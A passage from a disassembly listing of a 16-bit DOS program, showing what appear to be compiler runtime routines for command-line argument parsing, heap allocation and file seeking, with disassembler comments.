  615.         XCHG    AX,BX
  616.         MOV    SI,WORD PTR DATA_73    ; (8134:008A=0)
  617.         ADD    SI,2
  618.         MOV    CX,1
  619.         CMP    BYTE PTR DATA_77,3    ; (8134:0092=0)
  620.         JB    LOC_24            ; Jump if below
  621.         MOV    ES,WORD PTR DATA_73+2    ; (8134:008C=0)
  622.         MOV    DI,SI
  623.         MOV    CL,7FH
  624.         XOR    AL,AL            ; Zero register
  625.         REPNE    SCASB            ; Rept zf=0+cx>0 Scan es:[di] for al
  626.         JCXZ    LOC_32            ; Jump if cx=0
  627.         XOR    CL,7FH
  628. LOC_24:
  629.         SUB    SP,2
  630.         MOV    AX,1
  631.         ADD    AX,BX
  632.         ADD    AX,CX
  633.         AND    AX,0FFFEH
  634.         MOV    DI,SP
  635.         SUB    DI,AX
  636.         JC    LOC_32            ; Jump if carry Set
  637.         MOV    SP,DI
  638.         MOV    AX,ES
  639.         MOV    DS,AX
  640.         MOV    AX,SS
  641.         MOV    ES,AX
  642.         PUSH    CX
  643.         DEC    CX
  644.         REP    MOVSB            ; Rep while cx>0 Mov [si] to es:[di]
  645.         XOR    AL,AL            ; Zero register
  646.         STOSB                ; Store al to es:[di]
  647.         MOV    DS,BP
  648.         XCHG    SI,DX
  649.         XCHG    BX,CX
  650.         MOV    AX,BX
  651.         MOV    DX,AX
  652.         INC    BX
  653. LOC_25:
  654.         CALL    SUB_13            ; (0419)
  655.         JA    LOC_27            ; Jump if above
  656. LOC_26:
  657.         JC    LOC_33            ; Jump if carry Set
  658.         CALL    SUB_13            ; (0419)
  659.         JA    LOC_26            ; Jump if above
  660. LOC_27:
  661.         CMP    AL,20H            ; ' '
  662.         JE    LOC_28            ; Jump if equal
  663.         CMP    AL,0DH
  664.         JE    LOC_28            ; Jump if equal
  665.         CMP    AL,9
  666.         JNE    LOC_25            ; Jump if not equal
  667. LOC_28:
  668.         XOR    AL,AL            ; Zero register
  669.         JMP    SHORT LOC_25        ; (03FD)
  670.   
  671. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  672.   
  673. SUB_13:
  674.         OR    AX,AX            ; Zero ?
  675.         JZ    LOC_29            ; Jump if zero
  676.         INC    DX
  677.         STOSB                ; Store al to es:[di]
  678.         OR    AL,AL            ; Zero ?
  679.         JNZ    LOC_29            ; Jump if not zero
  680.         INC    BX
  681. LOC_29:
  682.         XCHG    AH,AL
  683.         XOR    AL,AL            ; Zero register
  684.         STC                ; Set carry flag
  685.         JCXZ    LOC_RET_31        ; Jump if cx=0
  686.         LODSB                ; String [si] to al
  687.         DEC    CX
  688.         SUB    AL,22H            ; '"'
  689.         JZ    LOC_RET_31        ; Jump if zero
  690.         ADD    AL,22H            ; '"'
  691.         CMP    AL,5CH            ; '\'
  692.         JNE    LOC_30            ; Jump if not equal
  693.         CMP    BYTE PTR [SI],22H    ; '"'
  694.         JNE    LOC_30            ; Jump if not equal
  695.         LODSB                ; String [si] to al
  696.         DEC    CX
  697. LOC_30:
  698.         OR    SI,SI            ; Zero ?
  699.   
  700. LOC_RET_31:
  701.         RETN
  702. LOC_32:
  703.         JMP    LOC_10            ; (01E2)
  704. LOC_33:
  705.         POP    CX
  706.         ADD    CX,DX
  707.         MOV    DS,CS:DATA_40        ; (7FD4:038C=0)
  708.         MOV    DS:DATA_5E,BX        ; (0000:0084=9CEH)
  709.         INC    BX
  710.         ADD    BX,BX
  711.         MOV    SI,SP
  712.         MOV    BP,SP
  713.         SUB    BP,BX
  714.         JC    LOC_32            ; Jump if carry Set
  715.         MOV    SP,BP
  716.         MOV    DS:DATA_6E,BP        ; (0000:0086=13C7H)
  717. LOC_34:
  718.         JCXZ    LOC_36            ; Jump if cx=0
  719.         MOV    [BP],SI
  720.         ADD    BP,2
  721.   
  722. LOCLOOP_35:
  723.         LODS    BYTE PTR SS:[SI]    ; String [si] to al
  724.         OR    AL,AL            ; Zero ?
  725.         LOOPNZ    LOCLOOP_35        ; Loop if zf=0, cx>0
  726.   
  727.         JZ    LOC_34            ; Jump if zero
  728. LOC_36:
  729.         XOR    AX,AX            ; Zero register
  730.         MOV    [BP],AX
  731.         JMP    CS:DATA_39        ; (7FD4:038A=0)
  732. SUB_12        ENDP
  733.   
  734.   
  735. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  736. ;                   SUBROUTINE
  737. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  738.   
  739. SUB_14        PROC    NEAR
  740.         MOV    CX,DS:DATA_8E        ; (0000:008A=23EAH)
  741.         PUSH    CX
  742.         CALL    SUB_19            ; (05CA)
  743.         POP    CX
  744.         MOV    DI,AX
  745.         OR    AX,AX            ; Zero ?
  746.         JZ    LOC_37            ; Jump if zero
  747.         PUSH    DS
  748.         PUSH    DS
  749.         POP    ES
  750.         MOV    DS,DS:DATA_9E        ; (0000:008C=0A70H)
  751.         XOR    SI,SI            ; Zero register
  752.         CLD                ; Clear direction
  753.         REP    MOVSB            ; Rep while cx>0 Mov [si] to es:[di]
  754.         POP    DS
  755.         MOV    DI,AX
  756.         PUSH    ES
  757.         PUSH    WORD PTR DS:DATA_10E    ; (0000:008E=23EAH)
  758.         CALL    SUB_19            ; (05CA)
  759.         ADD    SP,2
  760.         MOV    BX,AX
  761.         POP    ES
  762.         MOV    DS:DATA_7E,AX        ; (0000:0088=723H)
  763.         OR    AX,AX            ; Zero ?
  764.         JNZ    LOC_38            ; Jump if not zero
  765. LOC_37:
  766.         JMP    LOC_10            ; (01E2)
  767. LOC_38:
  768.         XOR    AX,AX            ; Zero register
  769.         MOV    CX,0FFFFH
  770. LOC_39:
  771.         MOV    [BX],DI
  772.         ADD    BX,2
  773.         REPNE    SCASB            ; Rept zf=0+cx>0 Scan es:[di] for al
  774.         CMP    ES:[DI],AL
  775.         JNE    LOC_39            ; Jump if not equal
  776.         MOV    [BX],AX
  777.         RETN
  778. SUB_14        ENDP
  779.   
  780.         DB    55H, 8BH, 0ECH, 83H, 3EH, 3CH
  781.         DB    2, 20H, 75H, 5, 0B8H, 1
  782.         DB    0, 0EBH, 15H, 8BH, 46H, 4
  783.         DB    8BH, 1EH, 3CH, 2, 0D1H, 0E3H
  784.         DB    89H, 87H, 64H, 4, 0FFH, 6
  785.         DB    3CH, 2, 33H, 0C0H, 0EBH, 0
  786. LOC_40:
  787.         POP    BP
  788.         RETN
  789.   
  790. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  791. ;                   SUBROUTINE
  792. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  793.   
  794. SUB_15        PROC    NEAR
  795.         PUSH    BP
  796.         MOV    BP,SP
  797.         PUSH    SI
  798.         PUSH    DI
  799.         MOV    DI,[BP+4]
  800.         MOV    AX,[DI+6]
  801.         MOV    DS:DATA_23E,AX        ; (0000:04A6=0)
  802.         CMP    AX,DI
  803.         JNE    LOC_41            ; Jump if not equal
  804.         MOV    WORD PTR DS:DATA_23E,0    ; (0000:04A6=0)
  805.         JMP    SHORT LOC_42        ; (0515)
  806. LOC_41:
  807.         MOV    SI,[DI+4]
  808.         MOV    BX,DS:DATA_23E        ; (0000:04A6=0)
  809.         MOV    [BX+4],SI
  810.         MOV    AX,DS:DATA_23E        ; (0000:04A6=0)
  811.         MOV    [SI+6],AX
  812. LOC_42:
  813.         POP    DI
  814.         POP    SI
  815.         POP    BP
  816.         RETN
  817. SUB_15        ENDP
  818.   
  819.   
  820. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  821. ;                   SUBROUTINE
  822. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  823.   
  824. SUB_16        PROC    NEAR
  825.         PUSH    BP
  826.         MOV    BP,SP
  827.         PUSH    SI
  828.         PUSH    DI
  829.         MOV    DI,[BP+4]
  830.         MOV    AX,[BP+6]
  831.         SUB    [DI],AX
  832.         MOV    SI,[DI]
  833.         ADD    SI,DI
  834.         MOV    AX,[BP+6]
  835.         INC    AX
  836.         MOV    [SI],AX
  837.         MOV    [SI+2],DI
  838.         MOV    AX,DS:DATA_22E        ; (0000:04A4=0)
  839.         CMP    AX,DI
  840.         JNE    LOC_43            ; Jump if not equal
  841.         MOV    DS:DATA_22E,SI        ; (0000:04A4=0)
  842.         JMP    SHORT LOC_44        ; (0548)
  843. LOC_43:
  844.         MOV    DI,SI
  845.         ADD    DI,[BP+6]
  846.         MOV    [DI+2],SI
  847. LOC_44:
  848.         MOV    AX,SI
  849.         ADD    AX,4
  850.         JMP    SHORT LOC_45        ; (054F)
  851. LOC_45:
  852.         POP    DI
  853.         POP    SI
  854.         POP    BP
  855.         RETN
  856. SUB_16        ENDP
  857.   
  858.   
  859. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  860. ;                   SUBROUTINE
  861. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  862.   
  863. SUB_17        PROC    NEAR
  864.         PUSH    BP
  865.         MOV    BP,SP
  866.         PUSH    SI
  867.         MOV    AX,[BP+4]
  868.         XOR    DX,DX            ; Zero register
  869.         AND    AX,0FFFFH
  870.         AND    DX,0
  871.         nop                ;*Fixup for MASM (M)
  872.         PUSH    DX
  873.         PUSH    AX
  874.         CALL    SUB_21            ; (065C)
  875.         POP    CX
  876.         POP    CX
  877.         MOV    SI,AX
  878.         CMP    SI,0FFFFH
  879.         JNE    LOC_46            ; Jump if not equal
  880.         XOR    AX,AX            ; Zero register
  881.         JMP    SHORT LOC_47        ; (058D)
  882. LOC_46:
  883.         MOV    AX,DS:DATA_22E        ; (0000:04A4=0)
  884.         MOV    [SI+2],AX
  885.         MOV    AX,[BP+4]
  886.         INC    AX
  887.         MOV    [SI],AX
  888.         MOV    DS:DATA_22E,SI        ; (0000:04A4=0)
  889.         MOV    AX,DS:DATA_22E        ; (0000:04A4=0)
  890.         ADD    AX,4
  891.         JMP    SHORT LOC_47        ; (058D)
  892. LOC_47:
  893.         POP    SI
  894.         POP    BP
  895.         RETN
  896. SUB_17        ENDP
  897.   
  898.   
  899. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  900. ;                   SUBROUTINE
  901. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  902.   
  903. SUB_18        PROC    NEAR
  904.         PUSH    BP
  905.         MOV    BP,SP
  906.         PUSH    SI
  907.         MOV    AX,[BP+4]
  908.         XOR    DX,DX            ; Zero register
  909.         AND    AX,0FFFFH
  910.         AND    DX,0
  911.         nop                ;*Fixup for MASM (M)
  912.         PUSH    DX
  913.         PUSH    AX
  914.         CALL    SUB_21            ; (065C)
  915.         POP    CX
  916.         POP    CX
  917.         MOV    SI,AX
  918.         CMP    SI,0FFFFH
  919.         JNE    LOC_48            ; Jump if not equal
  920.         XOR    AX,AX            ; Zero register
  921.         JMP    SHORT LOC_49        ; (05C7)
  922. LOC_48:
  923.         MOV    DS:DATA_24E,SI        ; (0000:04A8=0)
  924.         MOV    DS:DATA_22E,SI        ; (0000:04A4=0)
  925.         MOV    AX,[BP+4]
  926.         INC    AX
  927.         MOV    [SI],AX
  928.         MOV    AX,SI
  929.         ADD    AX,4
  930.         JMP    SHORT LOC_49        ; (05C7)
  931. LOC_49:
  932.         POP    SI
  933.         POP    BP
  934.         RETN
  935. SUB_18        ENDP
  936.   
  937.   
  938. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  939. ;                   SUBROUTINE
  940. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  941.   
  942. SUB_19        PROC    NEAR
  943.         PUSH    BP
  944.         MOV    BP,SP
  945.         PUSH    SI
  946.         PUSH    DI
  947.         MOV    DI,[BP+4]
  948.         OR    DI,DI            ; Zero ?
  949.         JNZ    LOC_50            ; Jump if not zero
  950.         XOR    AX,AX            ; Zero register
  951.         JMP    SHORT LOC_56        ; (0634)
  952. LOC_50:
  953.         MOV    AX,DI
  954.         ADD    AX,0BH
  955.         AND    AX,0FFF8H
  956.         MOV    DI,AX
  957.         CMP    WORD PTR DS:DATA_24E,0    ; (0000:04A8=0)
  958.         JNE    LOC_51            ; Jump if not equal
  959.         PUSH    DI
  960.         CALL    SUB_18            ; (0590)
  961.         POP    CX
  962.         JMP    SHORT LOC_56        ; (0634)
  963. LOC_51:
  964.         MOV    SI,DS:DATA_23E        ; (0000:04A6=0)
  965.         MOV    AX,SI
  966.         OR    AX,AX            ; Zero ?
  967.         JZ    LOC_55            ; Jump if zero
  968. LOC_52:
  969.         MOV    AX,[SI]
  970.         MOV    DX,DI
  971.         ADD    DX,28H
  972.         CMP    AX,DX
  973.         JB    LOC_53            ; Jump if below
  974.         PUSH    DI
  975.         PUSH    SI
  976.         CALL    SUB_16            ; (0519)
  977.         POP    CX
  978.         POP    CX
  979.         JMP    SHORT LOC_56        ; (0634)
  980. LOC_53:
  981.         MOV    AX,[SI]
  982.         CMP    AX,DI
  983.         JB    LOC_54            ; Jump if below
  984.         PUSH    SI
  985.         CALL    SUB_15            ; (04EB)
  986.         POP    CX
  987.         INC    WORD PTR [SI]
  988.         MOV    AX,SI
  989.         ADD    AX,4
  990.         JMP    SHORT LOC_56        ; (0634)
  991. LOC_54:
  992.         MOV    SI,[SI+6]
  993.         CMP    SI,DS:DATA_23E        ; (0000:04A6=0)
  994.         JNE    LOC_52            ; Jump if not equal
  995. LOC_55:
  996.         PUSH    DI
  997.         CALL    SUB_17            ; (0553)
  998.         POP    CX
  999.         JMP    SHORT LOC_56        ; (0634)
  1000. LOC_56:
  1001.         POP    DI
  1002.         POP    SI
  1003.         POP    BP
  1004.         RETN
  1005. SUB_19        ENDP
  1006.   
  1007.   
  1008. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1009. ;                   SUBROUTINE
  1010. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1011.   
  1012. SUB_20        PROC    NEAR
  1013.         PUSH    BP
  1014.         MOV    BP,SP
  1015.         MOV    AX,[BP+4]
  1016.         MOV    DX,SP
  1017.         SUB    DX,100H
  1018.         CMP    AX,DX
  1019.         JAE    LOC_57            ; Jump if above or =
  1020.         MOV    DS:DATA_28E,AX        ; (7FC4:009E=0)
  1021.         XOR    AX,AX            ; Zero register
  1022.         JMP    SHORT LOC_58        ; (065A)
  1023. LOC_57:
  1024.         MOV    WORD PTR DS:DATA_27E,8    ; (7FC4:0094=0)
  1025.         MOV    AX,0FFFFH
  1026.         JMP    SHORT LOC_58        ; (065A)
  1027. LOC_58:
  1028.         POP    BP
  1029.         RETN
  1030. SUB_20        ENDP
  1031.   
  1032.   
  1033. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1034. ;                   SUBROUTINE
  1035. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1036.   
  1037. SUB_21        PROC    NEAR
  1038.         PUSH    BP
  1039.         MOV    BP,SP
  1040.         MOV    AX,[BP+4]
  1041.         MOV    DX,[BP+6]
  1042.         ADD    AX,DS:DATA_14E        ; (0000:009E=27DH)
  1043.         ADC    DX,0
  1044.         MOV    CX,AX
  1045.         ADD    CX,100H
  1046.         ADC    DX,0
  1047.         OR    DX,DX            ; Zero ?
  1048.         JNZ    LOC_59            ; Jump if not zero
  1049.         CMP    CX,SP
  1050.         JAE    LOC_59            ; Jump if above or =
  1051.         XCHG    AX,DS:DATA_14E        ; (0000:009E=27DH)
  1052.         JMP    SHORT LOC_60        ; (068E)
  1053. LOC_59:
  1054.         MOV    WORD PTR DS:DATA_11E,8    ; (0000:0094=192FH)
  1055.         MOV    AX,0FFFFH
  1056.         JMP    SHORT LOC_60        ; (068E)
  1057. LOC_60:
  1058.         POP    BP
  1059.         RETN
  1060. SUB_21        ENDP
  1061.   
  1062.   
  1063. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1064. ;                   SUBROUTINE
  1065. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1066.   
  1067. SUB_22        PROC    NEAR
  1068.         PUSH    BP
  1069.         MOV    BP,SP
  1070.         PUSH    WORD PTR [BP+4]
  1071.         CALL    SUB_20            ; (0638)
  1072.         POP    CX
  1073.         JMP    SHORT LOC_61        ; (069C)
  1074. LOC_61:
  1075.         POP    BP
  1076.         RETN
  1077. SUB_22        ENDP
  1078.   
  1079.         DB    55H, 8BH, 0ECH, 8BH, 46H, 4
  1080.         DB    99H, 52H, 50H, 0E8H, 0B2H, 0FFH
  1081.         DB    8BH, 0E5H, 0EBH, 0, 5DH, 0C3H
  1082.   
  1083. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1084. ;                   SUBROUTINE
  1085. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1086.   
  1087. SUB_23        PROC    NEAR
  1088.         PUSH    BP
  1089.         MOV    BP,SP
  1090.         SUB    SP,2
  1091.         PUSH    SI
  1092.         PUSH    DI
  1093.         MOV    BX,[BP+4]
  1094.         MOV    SI,[BX]
  1095.         MOV    AX,SI
  1096.         MOV    [BP-2],AX
  1097.         MOV    BX,[BP+4]
  1098.         TEST    WORD PTR [BX+2],40H
  1099.         JZ    LOC_62            ; Jump if zero
  1100.         MOV    AX,SI
  1101.         JMP    SHORT LOC_65        ; (06EF)
  1102. LOC_62:
  1103.         MOV    BX,[BP+4]
  1104.         MOV    DI,[BX+0AH]
  1105.         JMP    SHORT LOC_64        ; (06E3)
  1106. LOC_63:
  1107.         MOV    BX,DI
  1108.         INC    DI
  1109.         CMP    BYTE PTR [BX],0AH
  1110.         JNE    LOC_64            ; Jump if not equal
  1111.         INC    WORD PTR [BP-2]
  1112. LOC_64:
  1113.         MOV    AX,SI
  1114.         DEC    SI
  1115.         OR    AX,AX            ; Zero ?
  1116.         JNZ    LOC_63            ; Jump if not zero
  1117.         MOV    AX,[BP-2]
  1118.         JMP    SHORT LOC_65        ; (06EF)
  1119. LOC_65:
  1120.         POP    DI
  1121.         POP    SI
  1122.         MOV    SP,BP
  1123.         POP    BP
  1124.         RETN    2
  1125. SUB_23        ENDP
  1126.   
  1127.   
  1128. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1129. ;                   SUBROUTINE
  1130. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1131.   
  1132. SUB_24        PROC    NEAR
  1133.         PUSH    BP
  1134.         MOV    BP,SP
  1135.         PUSH    SI
  1136.         MOV    SI,[BP+4]
  1137.         PUSH    SI
  1138.         CALL    SUB_34            ; (0BEE)
  1139.         POP    CX
  1140.         OR    AX,AX            ; Zero ?
  1141.         JZ    LOC_66            ; Jump if zero
  1142.         MOV    AX,0FFFFH
  1143.         JMP    SHORT LOC_70        ; (0758)
  1144. LOC_66:
  1145.         CMP    WORD PTR [BP+0AH],1
  1146.         JNE    LOC_67            ; Jump if not equal
  1147.         CMP    WORD PTR [SI],0
  1148.         JLE    LOC_67            ; Jump if < or =
  1149.         PUSH    SI
  1150.         CALL    SUB_23            ; (06B0)
  1151.         CWD                ; Word to double word
  1152.         SUB    [BP+6],AX
  1153.         SBB    [BP+8],DX
  1154. LOC_67:
  1155.         AND    WORD PTR [SI+2],0FE5FH
  1156.         MOV    WORD PTR [SI],0
  1157.         MOV    AX,[SI+8]
  1158.         MOV    [SI+0AH],AX
  1159.         PUSH    WORD PTR [BP+0AH]
  1160.         PUSH    WORD PTR [BP+8]
  1161.         PUSH    WORD PTR [BP+6]
  1162.         MOV    AL,[SI+4]
  1163.         CBW                ; Convrt byte to word
  1164.         PUSH    AX
  1165.         CALL    SUB_29            ; (0A1E)
  1166.         ADD    SP,8
  1167.         CMP    DX,0FFFFH
  1168.         JNE    LOC_68            ; Jump if not equal
  1169.         CMP    AX,0FFFFH
  1170.         JNE    LOC_68            ; Jump if not equal
  1171.         MOV    AX,0FFFFH
  1172.         JMP    SHORT LOC_69        ; (0756)
  1173. LOC_68:
  1174.         XOR    AX,AX            ; Zero register
  1175. LOC_69:
  1176.         JMP    SHORT LOC_70        ; (0758)
  1177. LOC_70:
  1178.         POP    SI
  1179.         POP    BP
  1180.         RETN
  1181. SUB_24        ENDP
  1182.   
  1183.         DB    55H, 8BH, 0ECH, 83H, 0ECH, 4
  1184.         DB    56H, 8BH, 76H, 4, 56H, 0E8H
  1185.         DB    85H, 4, 59H, 0BH, 0C0H, 74H
  1186.         DB    8, 0BAH, 0FFH, 0FFH, 0B8H, 0FFH
  1187.         DB    0FFH, 0EBH, 3FH, 0B8H, 1, 0
  1188.         DB    50H, 33H, 0C0H, 50H, 50H, 8AH
  1189.         DB    44H, 4, 98H, 50H, 0E8H, 98H
  1190.         DB    2, 83H, 0C4H, 8, 89H, 56H
  1191.         DB    0FEH, 89H, 46H, 0FCH, 83H, 3CH
  1192.         DB    0, 7EH, 19H, 8BH, 56H, 0FEH
  1193.         DB    8BH, 46H, 0FCH, 52H, 50H, 56H
  1194.         DB    0E8H, 10H, 0FFH, 99H, 8BH, 0D8H
  1195.         DB    8BH, 0CAH, 58H, 5AH, 2BH, 0C3H
  1196.         DB    1BH, 0D1H, 0EBH, 6
  1197. LOC_71:
  1198.         MOV    DX,[BP-2]
  1199.         MOV    AX,[BP-4]
  1200. LOC_72:
  1201.         JMP    SHORT LOC_73        ; (07B5)
  1202. LOC_73:
  1203.         POP    SI
  1204.         MOV    SP,BP
  1205.         POP    BP
  1206.         RETN
  1207.   
  1208. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1209. ;                   SUBROUTINE
  1210. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1211.   
  1212. SUB_25        PROC    NEAR
  1213.         PUSH    BP
  1214.         MOV    BP,SP
  1215.         MOV    AX,4400H
  1216.         MOV    BX,[BP+4]
  1217.         INT    21H            ; DOS Services  ah=function 44h
  1218.                         ;  device drivr cntrl al=subfunc
  1219.         MOV    AX,0
  1220.         JC    LOC_74            ; Jump if carry Set
  1221.         SHL    DX,1            ; Shift w/zeros fill
  1222.         RCL    AX,1            ; Rotate thru carry
  1223. LOC_74:
  1224.         JMP    SHORT LOC_75        ; (07D0)
  1225. LOC_75:
  1226.         POP    BP
  1227.         RETN
  1228. SUB_25        ENDP
  1229.   
  1230.   
  1231. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1232. ;                   SUBROUTINE
  1233. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1234.   
  1235. SUB_26        PROC    NEAR
  1236.         PUSH    BP
  1237.         MOV    BP,SP
  1238.         PUSH    SI
  1239.         PUSH    DI
  1240.         MOV    DI,[BP+0AH]
  1241.         MOV    SI,[BP+4]
  1242.         MOV    AX,[SI+0EH]
  1243.         CMP    AX,SI
  1244.         JNE    LOC_76            ; Jump if not equal
  1245.         CMP    WORD PTR [BP+8],2
  1246.         JG    LOC_76            ; Jump if >
  1247.         CMP    DI,7FFFH
  1248.         JBE    LOC_77            ; Jump if below or =
  1249. LOC_76:
  1250.         MOV    AX,0FFFFH
  1251.         JMP    LOC_85            ; (08A0)
  1252. LOC_77:
  1253.         CMP    WORD PTR DS:DATA_34E,0    ; (7FC4:03A8=0AE46H)
  1254.         JNE    LOC_78            ; Jump if not equal
  1255.         MOV    AX,24EH
  1256.         CMP    AX,SI
  1257.         JNE    LOC_78            ; Jump if not equal
  1258.         MOV    WORD PTR DS:DATA_34E,1    ; (7FC4:03A8=0AE46H)
  1259.         JMP    SHORT LOC_79        ; (0820)
  1260. LOC_78:
  1261.         CMP    WORD PTR DS:DATA_33E,0    ; (7FC4:03A6=8D50H)
